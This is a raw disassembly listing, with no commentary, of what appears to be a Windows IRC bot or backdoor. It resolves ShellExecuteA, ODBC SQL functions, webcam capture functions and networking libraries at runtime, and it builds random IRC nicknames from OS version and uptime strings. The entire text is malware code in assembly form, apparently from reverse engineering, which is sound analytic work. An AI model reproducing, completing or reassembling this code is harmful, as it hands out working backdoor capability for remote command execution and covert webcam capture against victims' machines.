dword_4CBA3C, ebx jz short loc_40A481 cmp eax, ebx jnz short loc_40A48B jmp short loc_40A481 ; --------------------------------------------------------------------------- loc_40A476: ; CODE XREF: sub_409909+B19j nop call near ptr 2680880h mov dword_4CBAE8, eax loc_40A481: ; CODE XREF: sub_409909+B55j ; sub_409909+B5Dj ... mov dword_4CBAE4, 1 loc_40A48B: ; CODE XREF: sub_409909+B69j push offset aShell32_dll ; "shell32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A4C0 push offset aShellexecutea ; "ShellExecuteA" push edi call esi push offset aShchangenotify ; "SHChangeNotify" push edi mov dword_4CB940, eax call esi cmp dword_4CB940, ebx mov dword_4CBA48, eax jz short loc_40A4CB cmp eax, ebx jnz short loc_40A4D5 jmp short loc_40A4CB ; --------------------------------------------------------------------------- loc_40A4C0: ; CODE XREF: sub_409909+B8Dj nop call near ptr 2680880h mov dword_4CBAF0, eax loc_40A4CB: ; CODE XREF: sub_409909+BAFj ; sub_409909+BB5j mov dword_4CBAEC, 1 loc_40A4D5: ; CODE XREF: sub_409909+BB3j push offset aOdbc32_dll ; "odbc32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A55E push offset aSqldriverconne ; "SQLDriverConnect" push edi call esi push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov dword_4CBA10, eax call esi push offset aSqlexecdirect ; "SQLExecDirect" push edi mov dword_4CBA5C, eax call esi push offset aSqlallochandle ; "SQLAllocHandle" push edi mov dword_4CB998, eax call esi push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov dword_4CB950, eax call esi push offset aSqldisconnect ; "SQLDisconnect" push edi mov dword_4CB9F0, eax call esi cmp dword_4CBA10, ebx mov dword_4CB960, eax jz short loc_40A569 cmp dword_4CBA5C, ebx jz short loc_40A569 cmp dword_4CB998, ebx jz short loc_40A569 cmp dword_4CB950, ebx jz short loc_40A569 cmp dword_4CB9F0, ebx jz short loc_40A569 cmp eax, ebx jnz short loc_40A573 jmp short loc_40A569 ; --------------------------------------------------------------------------- loc_40A55E: ; CODE XREF: sub_409909+BD7j nop call near ptr 2680880h mov dword_4CBAF8, eax loc_40A569: ; CODE XREF: sub_409909+C2Dj ; sub_409909+C35j ... mov dword_4CBAF4, 1 loc_40A573: ; CODE XREF: sub_409909+C51j push offset aAvicap32_dll ; "avicap32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A5A8 push offset aCapcreatecaptu ; "capCreateCaptureWindowA" push edi call esi push offset aCapgetdriverde ; "capGetDriverDescriptionA" push edi mov dword_4CB924, eax call esi cmp dword_4CB924, ebx mov dword_4CBA04, eax jz short loc_40A5B3 cmp eax, ebx jnz short loc_40A5BD jmp short loc_40A5B3 ; --------------------------------------------------------------------------- loc_40A5A8: ; CODE XREF: sub_409909+C75j call near ptr 2680880h nop mov dword_4CBB00, eax loc_40A5B3: ; CODE XREF: sub_409909+C97j ; sub_409909+C9Dj mov dword_4CBAFC, 1 loc_40A5BD: ; CODE XREF: sub_409909+C9Bj push 1 pop eax pop edi pop esi pop ebp pop ebx retn sub_409909 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A5C5 proc near ; CODE XREF: sub_401ACD+2511p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_4] push esi xor esi, esi cmp dword_4CBA94, esi push edi mov edi, [ebp+arg_8] jz short loc_40A60D push dword_4CBA98 lea eax, [ebp+var_200] push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A60D: ; CODE XREF: sub_40A5C5+1Aj cmp dword_4CBA9C, esi jz short loc_40A641 push dword_4CBAA0 lea eax, [ebp+var_200] push offset aUser32_dllFail ; "User32.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A641: ; CODE XREF: sub_40A5C5+4Ej cmp dword_4CBAA4, esi jz short loc_40A675 push dword_4CBAA8 lea eax, [ebp+var_200] push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A675: ; CODE XREF: sub_40A5C5+82j cmp dword_4CBAAC, esi jz short loc_40A6A9 push dword_4CBAB0 lea eax, [ebp+var_200] push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A6A9: ; CODE XREF: sub_40A5C5+B6j cmp dword_4CBAB4, esi jz short loc_40A6DD push dword_4CBAB8 lea eax, [ebp+var_200] push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A6DD: ; CODE XREF: sub_40A5C5+EAj cmp dword_4CBABC, esi jz short loc_40A711 push dword_4CBAC0 lea eax, [ebp+var_200] push offset aWininet_dllFai ; "Wininet.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A711: ; CODE XREF: sub_40A5C5+11Ej cmp dword_4CBAC4, esi jz short loc_40A745 push dword_4CBAC8 lea eax, [ebp+var_200] push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A745: ; CODE XREF: sub_40A5C5+152j cmp dword_4CBACC, esi jz short loc_40A779 push dword_4CBAD0 lea eax, [ebp+var_200] push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A779: ; CODE XREF: sub_40A5C5+186j cmp dword_4CBAD4, esi jz short loc_40A7AD push dword_4CBAD8 lea eax, [ebp+var_200] push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A7AD: ; CODE XREF: sub_40A5C5+1BAj cmp dword_4CBADC, esi jz short loc_40A7E1 push dword_4CBAE0 lea eax, [ebp+var_200] push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A7E1: ; CODE XREF: sub_40A5C5+1EEj cmp dword_4CBAE4, esi jz short loc_40A815 push dword_4CBAE8 lea eax, [ebp+var_200] push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A815: ; CODE XREF: sub_40A5C5+222j cmp dword_4CBAEC, esi jz short loc_40A849 push dword_4CBAF0 lea eax, [ebp+var_200] push offset aShell32_dllFai ; "Shell32.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A849: ; CODE XREF: sub_40A5C5+256j cmp dword_4CBAF4, esi jz short loc_40A87D push dword_4CBAF8 lea eax, [ebp+var_200] push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A87D: ; CODE XREF: sub_40A5C5+28Aj cmp dword_4CBAFC, esi jz short loc_40A8B1 push dword_4CBB00 lea eax, [ebp+var_200] push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>" push eax loc_40A897: ; DATA XREF: ___:0043320Co ; ___:00433250o ... call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A8B1: ; CODE XREF: sub_40A5C5+2BEj lea eax, [ebp+var_200] push offset unk_42D6C4 push eax call sub_41C266 cmp [ebp+arg_C], esi pop ecx pop ecx jnz short loc_40A8DE push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 14h loc_40A8DE: ; CODE XREF: sub_40A5C5+302j lea eax, [ebp+var_200] push eax call sub_415D38 pop ecx pop edi pop esi pop ebx leave retn sub_40A5C5 endp ; =============== S U B R O U T I N E ======================================= sub_40A8F0 proc near ; CODE XREF: sub_4017ED+4Fp ; sub_401ACD+5BC5p ... arg_0 = dword ptr 4 push [esp+arg_0] call dword_4CBA14 cmp eax, 0FFFFFFFFh jnz short locret_40A918 push [esp+arg_0] call dword_4CBA58 test eax, eax jnz short loc_40A911 or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_40A911: ; CODE XREF: sub_40A8F0+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_40A918: ; CODE XREF: sub_40A8F0+Dj retn sub_40A8F0 endp ; =============== S U B R O U T I N E ======================================= sub_40A919 proc near ; CODE XREF: sub_4017ED+D6p mov ecx, dword_4CB8F0 xor eax, eax test ecx, ecx jz short locret_40A927 call ecx locret_40A927: ; CODE XREF: sub_40A919+Aj retn sub_40A919 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A928 proc near ; CODE XREF: sub_401ACD:loc_403F03p var_88 = byte ptr -88h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 88h push ebx push esi push edi push 1 pop ebx lea eax, [ebp+var_8] xor edi, edi push ebx push eax push edi xor esi, esi mov [ebp+var_8], edi mov [ebp+var_4], ebx call dword_4CBA50 mov ecx, eax sub ecx, edi jz loc_40A9EE sub ecx, 32h jz loc_40A9E7 sub ecx, 48h jz short loc_40A988 sub ecx, 6Eh jz short loc_40A981 loc_40A96A: ; CODE XREF: sub_40A928+8Bj push eax lea eax, [ebp+var_88] push offset unk_42D8D8 push eax call sub_41C266 add esp, 0Ch jmp short loc_40A9C8 ; --------------------------------------------------------------------------- loc_40A981: ; CODE XREF: sub_40A928+40j push offset unk_42D8B4 jmp short loc_40A9BA ; --------------------------------------------------------------------------- loc_40A988: ; CODE XREF: sub_40A928+3Bj push [ebp+var_8] call sub_41BEB5 push [ebp+var_8] mov esi, eax push edi push esi call sub_41BF70 add esp, 10h cmp esi, edi jz short loc_40A9B5 lea eax, [ebp+var_8] push ebx push eax push esi call dword_4CBA50 cmp eax, edi jz short loc_40A9EE jmp short loc_40A96A ; --------------------------------------------------------------------------- loc_40A9B5: ; CODE XREF: sub_40A928+79j push offset unk_42D884 loc_40A9BA: ; CODE XREF: sub_40A928+5Ej ; sub_40A928+C4j lea eax, [ebp+var_88] push eax call sub_41C266 pop ecx pop ecx loc_40A9C8: ; CODE XREF: sub_40A928+57j lea eax, [ebp+var_88] mov [ebp+var_4], edi push eax call sub_415D38 pop ecx loc_40A9D8: ; CODE XREF: sub_40A928+C8j ; sub_40A928+DCj push esi call sub_41BA91 mov eax, [ebp+var_4] pop ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40A9E7: ; CODE XREF: sub_40A928+32j push offset unk_42D854 jmp short loc_40A9BA ; --------------------------------------------------------------------------- loc_40A9EE: ; CODE XREF: sub_40A928+29j ; sub_40A928+89j cmp [esi], edi jbe short loc_40A9D8 lea ebx, [esi+4] loc_40A9F5: ; CODE XREF: sub_40A928+DAj push ebx call dword_4CBA4C inc edi add ebx, 18h cmp edi, [esi] jb short loc_40A9F5 jmp short loc_40A9D8 sub_40A928 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AA06 proc near ; CODE XREF: sub_401ACD+21EDp ; sub_401ACD+233Ep ... var_14 = byte ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push 10h pop eax mov [ebp+var_4], eax push eax lea eax, [ebp+var_14] push 0 push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax push [ebp+arg_0] call dword_4CB978 movzx eax, [ebp+var_D] push eax mov esi, offset dword_4CBB04 movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_F] push eax movzx eax, [ebp+var_10] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push esi call sub_41C266 add esp, 18h mov eax, esi pop esi leave retn sub_40AA06 endp ; =============== S U B R O U T I N E ======================================= sub_40AA5F proc near ; CODE XREF: sub_413694+24Cp ; sub_413694+292p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] xor eax, eax cmp esi, 1 jle short loc_40AA88 mov ecx, esi push edi shr ecx, 1 mov edx, ecx neg edx lea esi, [esi+edx*2] mov edx, [esp+8+arg_0] loc_40AA7B: ; CODE XREF: sub_40AA5F+24j movzx edi, word ptr [edx] add eax, edi inc edx inc edx dec ecx jnz short loc_40AA7B pop edi jmp short loc_40AA8C ; --------------------------------------------------------------------------- loc_40AA88: ; CODE XREF: sub_40AA5F+Aj mov edx, [esp+4+arg_0] loc_40AA8C: ; CODE XREF: sub_40AA5F+27j test esi, esi pop esi jz short loc_40AA96 movzx ecx, byte ptr [edx] add eax, ecx loc_40AA96: ; CODE XREF: sub_40AA5F+30j mov ecx, eax and eax, 0FFFFh shr ecx, 10h add ecx, eax mov eax, ecx shr eax, 10h add eax, ecx not eax retn sub_40AA5F endp ; =============== S U B R O U T I N E ======================================= sub_40AAAC proc near ; CODE XREF: sub_40AE84+49p ; DATA XREF: ___:off_42D920o arg_0 = dword ptr 4 push esi push edi call near ptr 2690794h nop push eax call sub_41C2B8 pop ecx call sub_41C2C2 xor edx, edx mov ecx, 48Fh div ecx mov edi, [esp+8+arg_0] push off_42D99C[edx*4] push offset aS_1 ; "%s" push 1Ch push edi call sub_41C360 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AB14 loc_40AAEE: ; CODE XREF: sub_40AAAC+66j call sub_41C2C2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B89C push 1Ch push edi call sub_41C360 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AAEE loc_40AB14: ; CODE XREF: sub_40AAAC+40j mov eax, edi pop edi pop esi retn sub_40AAAC endp ; --------------------------------------------------------------------------- db 56h, 57h, 90h dd 285C73E8h, 91E85002h, 8B000117h, 0C710247Ch, 91382404h dd 0B4680042h, 6A0042CCh, 21E8571Ch, 33000118h, 10C483F6h dd 90983539h, 267E0042h, 11771E8h, 990A6A00h, 52F9F759h dd 0B89C6857h, 1C6A0042h, 17FAE857h, 0C4830001h, 353B4614h dd 429098h, 0C78BDA7Ch ; --------------------------------------------------------------------------- pop edi pop esi retn ; =============== S U B R O U T I N E ======================================= sub_40AB77 proc near ; CODE XREF: sub_401ACD+68EEp arg_0 = dword ptr 4 push ebx push esi push edi call near ptr 2690794h nop push eax call sub_41C2B8 pop ecx call sub_41C2C2 push 3 mov ebx, [esp+10h+arg_0] cdq pop ecx xor edi, edi idiv ecx mov esi, edx add esi, dword_429098 test esi, esi jle short loc_40ABBA loc_40ABA4: ; CODE XREF: sub_40AB77+41j call sub_41C2C2 push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [edi+ebx], dl inc edi cmp edi, esi jl short loc_40ABA4 loc_40ABBA: ; CODE XREF: sub_40AB77+2Bj and byte ptr [edi+ebx], 0 pop edi mov eax, ebx pop esi pop ebx retn sub_40AB77 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and dword ptr [ebp-4], 0 push esi push edi mov dword ptr [ebp-8], 100h call near ptr 2690794h nop push eax call sub_41C2B8 pop ecx lea eax, [ebp-8] mov esi, offset byte_4315F4 push eax push esi nop call near ptr 26C0000h movsx eax, byte_4315F4 push 41h pop ecx push 1 pop edx loc_40AC00: ; CODE XREF: ___:0040AC0Bj cmp eax, ecx jnz short loc_40AC07 mov [ebp-4], edx loc_40AC07: ; CODE XREF: ___:0040AC02j inc ecx cmp ecx, 5Bh jl short loc_40AC00 push 61h pop ecx loc_40AC10: ; CODE XREF: ___:0040AC1Bj cmp eax, ecx jnz short loc_40AC17 mov [ebp-4], edx loc_40AC17: ; CODE XREF: ___:0040AC12j inc ecx cmp ecx, 7Bh jl short loc_40AC10 mov edi, [ebp+8] push esi push 1Ch push edi call sub_41C360 xor esi, esi add esp, 0Ch cmp dword_429098, esi jle short loc_40AC5C loc_40AC36: ; CODE XREF: ___:0040AC5Aj call sub_41C2C2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B89C push 1Ch push edi call sub_41C360 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AC36 loc_40AC5C: ; CODE XREF: ___:0040AC34j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi nop call near ptr 2690794h push eax call sub_41C2B8 pop ecx lea eax, [ebp-0Ch] push 0Ah push eax push 7 push 800h nop call near ptr 26D0000h mov edi, [ebp+8] lea eax, [ebp-0Ch] push eax push offset dword_4315F8 push 1Ch push edi call sub_41C360 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40ACD1 loc_40ACAB: ; CODE XREF: ___:0040ACCFj call sub_41C2C2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B89C push 1Ch push edi call sub_41C360 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40ACAB loc_40ACD1: ; CODE XREF: ___:0040ACA9j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 94h push esi lea eax, [ebp-94h] push edi push eax mov esi, offset byte_43DB88 mov dword ptr [ebp-94h], 94h nop call near ptr 26D0613h nop call near ptr 2690794h push eax call sub_41C2B8 cmp dword ptr [ebp-90h], 4 pop ecx jnz short loc_40AD5B cmp dword ptr [ebp-8Ch], 0 jnz short loc_40AD3B cmp dword ptr [ebp-84h], 1 jnz short loc_40AD2B mov esi, offset dword_431620 loc_40AD2B: ; CODE XREF: ___:0040AD24j cmp dword ptr [ebp-84h], 2 jnz short loc_40AD97 mov esi, offset dword_43161C jmp short loc_40AD97 ; --------------------------------------------------------------------------- loc_40AD3B: ; CODE XREF: ___:0040AD1Bj cmp dword ptr [ebp-8Ch], 0Ah jnz short loc_40AD4B mov esi, offset dword_431618 jmp short loc_40AD97 ; --------------------------------------------------------------------------- loc_40AD4B: ; CODE XREF: ___:0040AD42j cmp dword ptr [ebp-8Ch], 5Ah jnz short loc_40AD92 mov esi, offset dword_431614 jmp short loc_40AD97 ; --------------------------------------------------------------------------- loc_40AD5B: ; CODE XREF: ___:0040AD12j cmp dword ptr [ebp-90h], 5 jnz short loc_40AD92 cmp dword ptr [ebp-8Ch], 0 jnz short loc_40AD74 mov esi, offset dword_431610 jmp short loc_40AD97 ; --------------------------------------------------------------------------- loc_40AD74: ; CODE XREF: ___:0040AD6Bj cmp dword ptr [ebp-8Ch], 1 jnz short loc_40AD84 mov esi, offset dword_43160C jmp short loc_40AD97 ; --------------------------------------------------------------------------- loc_40AD84: ; CODE XREF: ___:0040AD7Bj cmp dword ptr [ebp-8Ch], 2 mov esi, offset dword_431608 jz short loc_40AD97 loc_40AD92: ; CODE XREF: ___:0040AD52j ; ___:0040AD62j mov esi, offset dword_431604 loc_40AD97: ; CODE XREF: ___:0040AD32j ; ___:0040AD39j ... mov edi, [ebp+8] push esi push offset dword_4315FC push 1Ch push edi call sub_41C360 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40ADDB loc_40ADB5: ; CODE XREF: ___:0040ADD9j call sub_41C2C2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B89C push 1Ch push edi call sub_41C360 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40ADB5 loc_40ADDB: ; CODE XREF: ___:0040ADB3j mov eax, edi pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ADE1 proc near ; CODE XREF: sub_40AE84+5Cp var_1C = byte ptr -1Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push esi call near ptr 2690794h nop xor edx, edx mov ecx, 5265C00h div ecx push 0 push offset aMirc_0 ; "mIRC" mov esi, eax cmp esi, 64h jbe short loc_40AE30 call dword_4CB9E0 test eax, eax mov eax, offset off_43162C jnz short loc_40AE19 mov eax, offset byte_43DB88 loc_40AE19: ; CODE XREF: sub_40ADE1+31j push eax push esi push offset dword_431624 lea eax, [ebp+var_1C] push 1Ch push eax call sub_41C360 add esp, 14h jmp short loc_40AE50 ; --------------------------------------------------------------------------- loc_40AE30: ; CODE XREF: sub_40ADE1+22j call dword_4CB9E0 test eax, eax mov eax, offset off_43162C jnz short loc_40AE44 mov eax, offset byte_43DB88 loc_40AE44: ; CODE XREF: sub_40ADE1+5Cj push eax lea eax, [ebp+var_1C] push eax call sub_41C266 pop ecx pop ecx loc_40AE50: ; CODE XREF: sub_40ADE1+4Dj lea eax, [ebp+var_1C] push eax call sub_41B9C0 pop ecx cmp eax, 2 pop esi jbe short loc_40AE7F push 1Ch lea eax, [ebp+var_1C] push [ebp+arg_0] push eax call sub_41CBC0 lea eax, [ebp+var_1C] push 1Ch push eax push [ebp+arg_0] call sub_41BFD0 add esp, 18h loc_40AE7F: ; CODE XREF: sub_40ADE1+7Dj mov eax, [ebp+arg_0] leave retn sub_40ADE1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AE84 proc near ; CODE XREF: sub_4017ED+7Fp ; sub_401955+50p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi xor edi, edi mov esi, offset dword_42D91C loc_40AE90: ; CODE XREF: sub_40AE84+3Fj cmp [ebp+arg_C], 0 jz short loc_40AEAB lea eax, [esi-0Ch] push eax push [ebp+arg_C] call sub_41CA50 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40AEB5 ; --------------------------------------------------------------------------- loc_40AEAB: ; CODE XREF: sub_40AE84+10j mov ecx, [esi] xor eax, eax cmp ecx, [ebp+arg_4] setz al loc_40AEB5: ; CODE XREF: sub_40AE84+25j test eax, eax jnz short loc_40AEC7 add esi, 14h inc edi cmp esi, offset off_42D9A8 jb short loc_40AE90 jmp short loc_40AED5 ; --------------------------------------------------------------------------- loc_40AEC7: ; CODE XREF: sub_40AE84+33j push [ebp+arg_0] lea eax, [edi+edi*4] call off_42D920[eax*4] pop ecx loc_40AED5: ; CODE XREF: sub_40AE84+41j cmp [ebp+arg_8], 0 pop edi pop esi jz short loc_40AEE8 push [ebp+arg_0] call sub_40ADE1 pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_40AEE8: ; CODE XREF: sub_40AE84+57j mov eax, [ebp+arg_0] pop ebp retn sub_40AE84 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0B8h push ebx push esi lea eax, [ebp-0B8h] push edi push eax mov edi, offset byte_43DB88 mov dword ptr [ebp-0B8h], 94h nop call near ptr 26D0613h cmp dword ptr [ebp-0B4h], 4 push 0Ah pop ebx jnz short loc_40AF67 cmp dword ptr [ebp-0B0h], 0 jnz short loc_40AF48 cmp dword ptr [ebp-0A8h], 1 jnz short loc_40AF38 mov edi, offset dword_431620 loc_40AF38: ; CODE XREF: ___:0040AF31j cmp dword ptr [ebp-0A8h], 2 jnz short loc_40AFA3 mov edi, offset dword_43161C jmp short loc_40AFA3 ; --------------------------------------------------------------------------- loc_40AF48: ; CODE XREF: ___:0040AF28j cmp [ebp-0B0h], ebx jnz short loc_40AF57 mov edi, offset dword_431618 jmp short loc_40AFA3 ; --------------------------------------------------------------------------- loc_40AF57: ; CODE XREF: ___:0040AF4Ej cmp dword ptr [ebp-0B0h], 5Ah jnz short loc_40AF9E mov edi, offset dword_431614 jmp short loc_40AFA3 ; --------------------------------------------------------------------------- loc_40AF67: ; CODE XREF: ___:0040AF1Fj cmp dword ptr [ebp-0B4h], 5 jnz short loc_40AF9E cmp dword ptr [ebp-0B0h], 0 jnz short loc_40AF80 mov edi, offset dword_431610 jmp short loc_40AFA3 ; --------------------------------------------------------------------------- loc_40AF80: ; CODE XREF: ___:0040AF77j cmp dword ptr [ebp-0B0h], 1 jnz short loc_40AF90 mov edi, offset dword_43160C jmp short loc_40AFA3 ; --------------------------------------------------------------------------- loc_40AF90: ; CODE XREF: ___:0040AF87j cmp dword ptr [ebp-0B0h], 2 mov edi, offset dword_431684 jz short loc_40AFA3 loc_40AF9E: ; CODE XREF: ___:0040AF5Ej ; ___:0040AF6Ej mov edi, offset dword_431680 loc_40AFA3: ; CODE XREF: ___:0040AF3Fj ; ___:0040AF46j ... lea eax, [ebp-0A4h] push offset word_4CB88C push eax call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_40AFC1 mov esi, offset dword_43167C jmp short loc_40B03C ; --------------------------------------------------------------------------- loc_40AFC1: ; CODE XREF: ___:0040AFB8j lea eax, [ebp-0A4h] push offset a1 ; "1" push eax call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_40AFDF mov esi, offset sub_431678 jmp short loc_40B03C ; --------------------------------------------------------------------------- loc_40AFDF: ; CODE XREF: ___:0040AFD6j lea eax, [ebp-0A4h] push offset dword_431674 push eax call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_40AFFD mov esi, offset dword_431670 jmp short loc_40B03C ; --------------------------------------------------------------------------- loc_40AFFD: ; CODE XREF: ___:0040AFF4j lea eax, [ebp-0A4h] push offset dword_43166C push eax call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_40B01B mov esi, offset dword_431668 jmp short loc_40B03C ; --------------------------------------------------------------------------- loc_40B01B: ; CODE XREF: ___:0040B012j lea eax, [ebp-0A4h] push offset dword_431664 push eax call sub_41C2E0 pop ecx mov esi, offset dword_431660 test eax, eax pop ecx jnz short loc_40B03C mov esi, offset off_43165C loc_40B03C: ; CODE XREF: ___:0040AFBFj ; ___:0040AFDDj ... lea eax, [ebp-0Ch] or dword ptr [ebp-4], 0FFFFFFFFh push eax or dword ptr [ebp-8], 0FFFFFFFFh or dword ptr [ebp-0Ch], 0FFFFFFFFh lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax push offset aDdDhDm ; "%dd %dh %dm" push 0 call sub_41ADD8 pop ecx push eax call sub_41CCE3 mov eax, [ebp-4] add esp, 14h cmp eax, ebx jge short loc_40B086 push eax push offset a0D ; "0%d" lea eax, [ebp-18h] push ebx push eax call sub_41C360 add esp, 10h jmp short loc_40B0AA ; --------------------------------------------------------------------------- loc_40B086: ; CODE XREF: ___:0040B06Fj cmp eax, 64h jge short loc_40B098 lea ecx, [ebp-18h] push ebx push ecx push eax call sub_42635C jmp short loc_40B0A7 ; --------------------------------------------------------------------------- loc_40B098: ; CODE XREF: ___:0040B089j push offset a99 ; "99" lea eax, [ebp-18h] push ebx push eax call sub_41C360 loc_40B0A7: ; CODE XREF: ___:0040B096j add esp, 0Ch loc_40B0AA: ; CODE XREF: ___:0040B084j nop call near ptr 2690794h push eax call sub_41C2B8 pop ecx lea eax, [ebp-24h] push ebx push eax push 7 push 800h call near ptr 26D0000h nop lea eax, [ebp-18h] push eax push esi lea eax, [ebp-24h] push edi mov edi, [ebp+8] push eax push offset aSSSS ; "%s|%s|%s|%s|" push 1Ch push edi call sub_41C360 xor esi, esi add esp, 1Ch cmp dword_429098, esi jle short loc_40B115 loc_40B0F0: ; CODE XREF: ___:0040B113j call sub_41C2C2 cdq mov ecx, ebx idiv ecx push edx push edi push offset dword_42B89C push 1Ch push edi call sub_41C360 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40B0F0 loc_40B115: ; CODE XREF: ___:0040B0EEj mov eax, edi pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= sub_40B11C proc near ; CODE XREF: sub_40B13C+Ap ; sub_40B214+8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_41B9C0 push [esp+8+arg_4] mov esi, eax call sub_41B9C0 pop ecx lea eax, [esi+eax*2+0C1h] pop ecx pop esi retn sub_40B11C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B13C proc near ; CODE XREF: sub_40B22B+49p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push [ebp+arg_C] push [ebp+arg_8] call sub_40B11C cmp eax, [ebp+arg_4] pop ecx pop ecx mov [ebp+var_4], eax jbe short loc_40B159 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40B159: ; CODE XREF: sub_40B13C+17j push ebx push esi push edi push [ebp+arg_8] call sub_41B9C0 push [ebp+arg_C] mov esi, eax call sub_41B9C0 mov edi, eax mov ebx, [ebp+arg_0] push 0FFFFFFEDh lea eax, [edi+esi+12h] mov dword_43171C, eax lea eax, [edi+1] mov dword_43173D, eax lea eax, [edi+17h] mov dword_431735, eax pop eax 